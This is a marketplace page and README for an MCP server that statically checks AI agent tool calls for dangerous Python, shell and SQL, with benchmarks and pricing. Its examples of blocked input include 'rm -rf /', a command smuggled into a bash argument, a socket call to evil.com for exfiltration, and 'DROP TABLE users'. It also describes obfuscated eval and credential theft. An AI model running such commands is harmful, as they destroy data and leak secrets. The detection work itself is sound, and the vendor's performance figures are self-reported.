Skip to content
Conduit

mcp server

aw1-circuit-breaker

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.

MvikManners/aw1-circuit-breakercommunitylistedunreviewed

Set up

Runs on your computer. Pick your agent and operating system.

Before you start

  • uv (`curl -LsSf https://astral.sh/uv/install.sh | sh`)
~/Library/Application Support/Claude/claude_desktop_config.json
{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "uvx",
      "args": [
        "aw1-circuit-breaker"
      ]
    }
  }
}

same format Cursor, GitHub Copilot CLI, Junie, JetBrains AI Assistant, Augment (Auggie CLI), Factory Droid, Kiro, Devin CLI +12

Values in angle brackets are placeholders. Restart Claude Desktop after editing its config.Claude Desktop docs

README

synced Oct 27, 2026

HOL Blue member

aw1-circuit-breaker (v2.1.2)

HOL Guard HOL Verified PyPI Python Matrix HOL Scanner CI Zero Dependencies Latency MCP Registry Glama Score License: Apache-2.0

Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.

aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) static policy enforcement, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.

Security Scope & Boundary: aw1-breaker enforces deterministic static AST and argument-level boundary policies prior to Python runtime execution (blocking prohibited modules, dangerous built-ins, SQL mutations, and known evasion patterns). It provides an application-layer policy gate and is designed to complement, not replace, operating-system-level sandbox isolation (e.g., containers, gVisor, or microVMs) for arbitrary untrusted code execution.


High-Concurrency Performance (v2.1.0 Verified)

Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks via tests/test_enterprise_engine.py:

MetricResultIndustry Standard (LLM-as-a-Judge)
Throughput8,485.0 dispatches/sec~5 – 20 req/sec
Median Latency (P50)0.0776 ms (77.6 µs)500 – 1,500 ms
90th Percentile (P90)0.0941 ms (94.1 µs)1,200 – 2,000 ms
95th Percentile (P95)0.1066 ms (106.6 µs)1,500 – 2,500 ms
99th Percentile (P99)0.2263 ms (226.3 µs)2,000 – 4,000 ms
Policy Rejection Latency< 0.13 ms (Fail-Closed)N/A (Probabilistic)
Deterministic GuaranteeSyntax-Exact AST Grammar MatchProbabilistic (~85–95%)

⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

📦 Installation

pip install --upgrade aw1-circuit-breaker

(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).


🛡️ Enterprise Guard (Turnkey Integration)

Drop enterprise boundary policies directly onto agent tools using the @guard.protect or universal @guard adapter:

from aw1 import EnterpriseGuard, SecurityViolationError

guard = EnterpriseGuard(
    allowed_tools=["safe_query", "fetch_market_data"],
    max_velocity_per_min=60,
    max_financial_limit=250.0,
    readonly_sql=True
)

@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
    return db.execute(query)

# Benign queries execute with sub-millisecond policy check overhead
execute_database_query("SELECT id FROM users LIMIT 1;")

# Adversarial AST injections & SQL drops are halted deterministically:
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"

Universal Function & Async Gating

from aw1 import guard

@guard
async def run_agent_tool(tool_payload: dict) -> dict:
    return {"status": "ok"}

🔌 Model Context Protocol (MCP) Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx aw1-circuit-breaker

MCP Client Configuration

Add to your Claude Desktop or Cursor configuration:

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "uvx",
      "args": ["aw1-circuit-breaker"]
    }
  }
}

⚔️ Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection provides deterministic grammar analysis against defined policy boundaries.

Interception Matrix

Attack VectorAttacker StrategyLLM Guardrail ResultAW-1 AST Circuit Breaker
Dynamic Executioneval(compile(...))Evades semantic filters🛑 Tripped (RESTRICTED_INVOCATION)
Shell Escapessubprocess.Popen(['bash', ...])Masked as system task🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltrationsocket.connect(('evil.com', 443))Disguised as HTTP fetch🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT)
SQL DestructionDROP TABLE users;Prompt jailbreak bypass🛑 Tripped (HALT_SQL_MUTATION_FORBIDDEN)
Dunder Introspection().__class__.__subclasses__()Bypasses keyword filters🛑 Tripped (FAIL_CLOSED_REFLECTION_BREACH)

Run the Showcase

python examples/enterprise_guard_demo.py

🔬 Autonomous Breakout Benchmark Suite (BRK Gauntlet)

Evaluated against the standardized BRK Adversarial Vector Suite across 1,000 randomized execution cycles via tests/test_breakout_gauntlet.py:

VectorExploit Mechanism / Attack SignatureDetection Policy LayerSingle-Dispatch Median LatencyBenchmark Suite Result
BRK-101Base64 Obfuscation & eval() Tunneling: Encodes command strings in nested base64 structures.Layer 0 AST Decompiler (ast_unpacker.py)0.0389 ms (38.9 µs)Intercepted (100% vector pass)
BRK-102Unauthorized Socket Egress: Raw TCP sockets targeting credential extraction (.env, SSH keys).Network Socket Gate (UNAUTHORIZED_MODULE_IMPORT)0.0412 ms (41.2 µs)Intercepted (100% vector pass)
BRK-103Privilege Escalation Patterns: Process privilege changes, chmod 777, or file alteration calls.Fail-Closed Policy Arbitrator0.0374 ms (37.4 µs)Intercepted (100% vector pass)
BENIGNFast-Path Operations: Read-only queries, valid parameter structures, and benign API dispatches.Fast-Path AST Validation Bypass0.0210 ms (21.0 µs)Permitted (0% False Positives)

Note: The 100% pass metric reflects containment across the specified synthetic vector sets (BRK-101 through BRK-103) in test conditions and is not a claim of universal containment against arbitrary unknown exploit classes.

Reproduce the 1,000-Cycle Gauntlet Locally

Run the complete evaluation suite with standard Python (zero external dependencies required):

python tests/test_breakout_gauntlet.py

⏱️ Runtime Latency Telemetry

Deterministic security must not throttle agent execution. Below are empirical latency measurements substantiated by benchmark.py across 1,000 iterations on Python 3.13:

Evaluation TargetSubstantiating ScriptP50 LatencyP95 LatencyP99 LatencyNotes
Full AST Policy Inspection (Benign)benchmark.py0.0889 ms0.1298 ms0.1645 msComplete AST parse & rule validation
AST Policy Inspection (Adversarial)benchmark.py0.0520 ms0.0919 ms0.1051 msShort-circuit on first policy violation
Shell Argument Sanitization Passbenchmark.py0.0051 ms0.0096 ms0.0195 msPure string argument validation
Concurrent Multi-Task Dispatchtests/test_enterprise_engine.py0.0776 ms0.1066 ms0.2263 ms500 concurrent tasks (10k total)

Reproduce locally:

python benchmark.py

🧩 Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

🌐 Cloud REST API Gateway & Production Quotas

The AW-1 Circuit Breaker provides an optional HTTP policy arbitration gateway for microservices, browser frontends, and autonomous agent platforms.

  • Endpoint: POST https://p20.laveto.net/wisdom/api/v1/intercept
  • CORS: Enabled (Access-Control-Allow-Origin: *)
  • Median Arbitration Latency: < 0.80 ms (HTTP roundtrip excluding transport)

Request Payload

{
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "payload": "SELECT id, balance FROM accounts WHERE user_id = 42;"
}

Response Schema

1. Permitted Execution (Token Minted)

{
  "status": "PERMITTED",
  "verdict": "PASS",
  "permitted": true,
  "actor_id": "agent-alpha-01",
  "tool_name": "sql_query",
  "token": "YOUR_KEY_dev_dummy_key_000000000000",
  "reason": "Policy evaluation completed: execution safe",
  "latency_ms": 0.762,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}

2. Threat Contained (Fail-Closed)

{
  "status": "HALT_AND_CONTAIN",
  "verdict": "FAIL_CLOSED",
  "permitted": false,
  "actor_id": "agent-alpha-01",
  "tool_name": "bash",
  "token": null,
  "reason": "AST Circuit Breaker containment triggered",
  "latency_ms": 0.201,
  "circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}

Production Quotas & Pricing

PlanPricing (USD / BWP)Quota & FeaturesAccess / Checkout
Developer SandboxFree10,000 requests, HMAC token mintingCode HOL-BREAKER-2026
Developer Pro$49 / BWP 690 /mo50,000 audit requests, 1 license key, offline HMAC validationUpgrade to Pro
Team / Startup$199 / BWP 2,650 /mo1,000,000 audit requests, 5 seat keys, Redis state syncUpgrade to Team
Enterprise Dedicated$990 / BWP 13,200 /moUnlimited seats, dedicated gateway tenant, custom statutory lensesEnterprise Desk

To authenticate with enterprise quotas, pass your signed bearer token in the Authorization header:

curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
  -H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
  -H "Content-Type: application/json" \
  -d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

↑↓ navigate openesc close